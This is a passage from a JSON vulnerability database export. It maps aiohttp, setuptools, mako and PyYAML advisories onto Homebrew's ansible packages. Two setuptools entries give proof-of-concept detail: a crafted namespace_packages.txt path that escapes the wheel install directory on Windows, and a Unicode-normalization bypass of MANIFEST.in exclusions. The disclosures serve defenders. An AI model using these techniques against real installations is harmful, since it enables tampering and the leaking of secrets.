segments.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2g87-pp6c-29x5"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/09bcaa73ff084a0c539bbf16a0a78743acb7141f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a4f6682817839313b04b8e5cea2b39c1a88ab4f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-GHSA-pjjw-qhg8-p2p9","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-pjjw-qhg8-p2p9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.6","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp has vulnerable dependency that is vulnerable to request smuggling","details":"### Summary\nllhttp 8.1.1 is vulnerable to two request smuggling vulnerabilities.\nDetails have not been disclosed yet, so refer to llhttp for future information.\nThe issue is resolved by using llhttp 9+ (which is included in aiohttp 3.8.6+).","references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pjjw-qhg8-p2p9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/996de2629ef6b4c2934a7c04dfd49d0950d4c43b"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bcc416e533796d04fb8124ef1e7686b1f338767a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-GHSA-xmj3-9gf7-h52w","published":"2026-10-29T21:32:40Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-xmj3-9gf7-h52w"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.2.0"},{"fixed":"14.5.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"84.1.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.2.1","key":"pkg:pypi/setuptools@84.2.1","resource":"setuptools"}]},"summary":"setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description","details":"### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`<distribution>.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n    destination/\n    outside/\n    input/\n    canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n    sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w"},{"type":"WEB","url":"https://github.com/pypa/setuptools/pull/5329"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v84.1.0"}]}],"ansible-builder":[{"schema_version":"1.7.3","id":"BREW-ansible-builder-CVE-2026-59890","published":"2026-08-13T16:35:16Z","modified":"2026-10-29T21:28:36Z","upstream":["GHSA-h35f-9h28-mq5c","BIT-setuptools-2026-59890","CVE-2026-59890","PYSEC-2026-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-builder","purl":"pkg:brew/ansible-builder"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.0"},{"fixed":"3.1.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"83.0.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.2.1","key":"pkg:pypi/setuptools@84.2.1","resource":"setuptools"}]},"summary":"setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+","details":"## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py  (FileList.global_exclude)\ndef global_exclude(self, pattern):\n    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD\n    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_café.txt    # rule saved NFC\n```\n\nand an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-h35f-9h28-mq5c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59890"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/dd9f436a36486b4cb8a4c70a2321548b0be09b8f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2026-3447.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v83.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-builder-GHSA-xmj3-9gf7-h52w","published":"2026-10-29T21:28:36Z","modified":"2026-10-29T21:28:36Z","upstream":["GHSA-xmj3-9gf7-h52w"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-builder","purl":"pkg:brew/ansible-builder"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.0"},{"fixed":"3.2.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"84.1.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.2.1","key":"pkg:pypi/setuptools@84.2.1","resource":"setuptools"}]},"summary":"setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description","details":"### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`<distribution>.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n    destination/\n    outside/\n    input/\n    canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n    sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w"},{"type":"WEB","url":"https://github.com/pypa/setuptools/pull/5329"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v84.1.0"}]}],"ansible-cmdb":[{"schema_version":"1.7.3","id":"BREW-ansible-cmdb-CVE-2010-2480","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-7q8x-38mc-p84f","CVE-2010-2480","PYSEC-2010-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-cmdb","purl":"pkg:brew/ansible-cmdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.31_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.3.4","resource":"mako","resource_purl":"pkg:pypi/mako@1.3.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mako","subject_version":"1.3.9","key":"pkg:pypi/mako@1.3.9","resource":"mako"}]},"summary":"Mako contains Cross-site Scripting vulnerability","details":"Mako before 0.3.4 relies on the cgi.escape function in the Python standard library for cross-site scripting (XSS) protection, which makes it easier for remote attackers to conduct XSS attacks via vectors involving single-quote characters and a JavaScript onLoad event handler for a BODY element.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2010-2480"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2010-2480"},{"type":"WEB","url":"https://bugs.python.org/issue9061"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=609573"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mako/PYSEC-2010-1.yaml"},{"type":"PACKAGE","url":"https://github.com/sqlalchemy/mako"},{"type":"WEB","url":"https://lists.opensuse.org/opensuse-security-announce/2010-08/msg00001.html"},{"type":"WEB","url":"https://www.makotemplates.org/CHANGES"},{"type":"WEB","url":"http://bugs.python.org/issue9061"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2010-08/msg00001.html"},{"type":"WEB","url":"http://www.makotemplates.org/CHANGES"}]},{"schema_version":"1.7.3","id":"BREW-ansible-cmdb-CVE-2017-18342","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-rprw-h62v-c2w7","CVE-2017-18342","PYSEC-2018-49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-cmdb","purl":"pkg:brew/ansible-cmdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.31_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.1","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.2","key":"pkg:pypi/pyyaml@6.0.2","resource":"pyyaml"}]},"summary":"PyYAML insecurely deserializes YAML strings leading to arbitrary code execution","details":"In PyYAML before 5.1, the `yaml.load()` API could execute arbitrary code. In other words, `yaml.safe_load` is not used.\n\nThis was intended to be fixed in 4.1, but due to [breaking changes](https://github.com/yaml/pyyaml/issues/192#issuecomment-401491470), 4.1 was yanked and 5.1 [contains](https://github.com/yaml/pyyaml/issues/207#issuecomment-472520007) the patch for CVE-2017-18342.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-18342"},{"type":"WEB","url":"https://github.com/marshmallow-code/apispec/issues/278"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/193"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/207#issuecomment-472520007"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/pull/74"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/7b68405c81db889f83c32846462b238ccae5be80"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2018-49.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/blob/master/CHANGES"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JEX7IPV5P2QJITAMA5Z63GQCZA5I6NVZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KSQQMRUQSXBSUXLCRD3TSZYQ7SEZRKCE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M6JCFGEIEOFMWWIXGHSELMKQDD4CV2BA"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202003-45"}]},{"schema_version":"1.7.3","id":"BREW-ansible-cmdb-CVE-2019-20477","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-3pqx-4fqf-j49f","CVE-2019-20477","PYSEC-2020-176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-cmdb","purl":"pkg:brew/ansible-cmdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.31_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.2","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.2","key":"pkg:pypi/pyyaml@6.0.2","resource":"pyyaml"}]},"summary":"Deserialization of Untrusted Data in PyYAML","details":"PyYAML 5.1 through 5.1.2 has insufficient restrictions on the load and load_all functions because of a class deserialization issue, e.g., Popen is a class in the subprocess module. NOTE: this issue exists because of an incomplete fix for CVE-2017-18342.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-20477"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3pqx-4fqf-j49f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2020-176.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/blob/master/CHANGES"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/33VBUY73AA6CTTYL3LRWHNFDULV7PFPN"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/52N5XS73Z5S4ZN7I7R56ICCPCTKCUV4H"},{"type":"WEB","url":"https://www.exploit-db.com/download/47655"}]},{"schema_version":"1.7.3","id":"BREW-ansible-cmdb-CVE-2020-14343","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-8q59-q68h-6hv4","CVE-2020-14343","PYSEC-2021-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-cmdb","purl":"pkg:brew/ansible-cmdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.31_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.4","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.2","key":"pkg:pypi/pyyaml@6.0.2","resource":"pyyaml"}]},"summary":"Improper Input Validation in PyYAML","details":"A vulnerability was discovered in the PyYAML library in versions before 5.4, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. This flaw allows an attacker to execute arbitrary code on the system by abusing the python/object/new constructor. This flaw is due to an incomplete fix for CVE-2020-1747.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14343"},{"type":"WEB","url":"https://github.com/SeldonIO/seldon-core/issues/2252"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/420"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/420#issuecomment-663673966"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/a001f2782501ad2d24986959f0239a354675f9dc"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1860466"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8q59-q68h-6hv4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2021-142.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://pypi.org/project/PyYAML"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-cmdb-CVE-2020-1747","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-6757-jp84-gxfx","CVE-2020-1747","PYSEC-2020-96"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-cmdb","purl":"pkg:brew/ansible-cmdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.31_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.3.1","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.2","key":"pkg:pypi/pyyaml@6.0.2","resource":"pyyaml"}]},"summary":"Improper Input Validation in PyYAML","details":"A vulnerability was discovered in the PyYAML library in versions before 5.3.1, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. An attacker could use this flaw to execute arbitrary code on the system by abusing the python/object/new constructor.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1747"},{"type":"WEB","url":"https://github.com/github/advisory-database/pull/4942"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/pull/386"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/0cedb2a0697b2bc49e4f3841b8d4590b6b15657e"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/5080ba513377b6355a0502104846ee804656f1e0"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1747"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6757-jp84-gxfx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2020-96.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7PPAS6C4SZRDQLR7C22A5U3QOLXY33JX"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K5HEPD7LEVDPCITY5IMDYWXUMX37VFMY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MMQXSZXNJT6ERABJZAAICI3DQSQLCP3D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WORRFHPQVAFKKXXWLSSW6XKUYLWM6CSH"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZBJA3SGNJKCAYPSHOHWY3KBCWNM5NYK2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00017.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-cmdb-CVE-2022-40023","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-v973-fxgf-6xhp","CVE-2022-40023","PYSEC-2022-260"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-cmdb","purl":"pkg:brew/ansible-cmdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.31_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.2","resource":"mako","resource_purl":"pkg:pypi/mako@1.3.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mako","subject_version":"1.3.9","key":"pkg:pypi/mako@1.3.9","resource":"mako"}]},"summary":"mako is vulnerable to Regular Expression Denial of Service","details":"Sqlalchemy mako before 1.2.2 is vulnerable to Regular expression Denial of Service when using the Lexer class to parse. This also affects babelplugin and 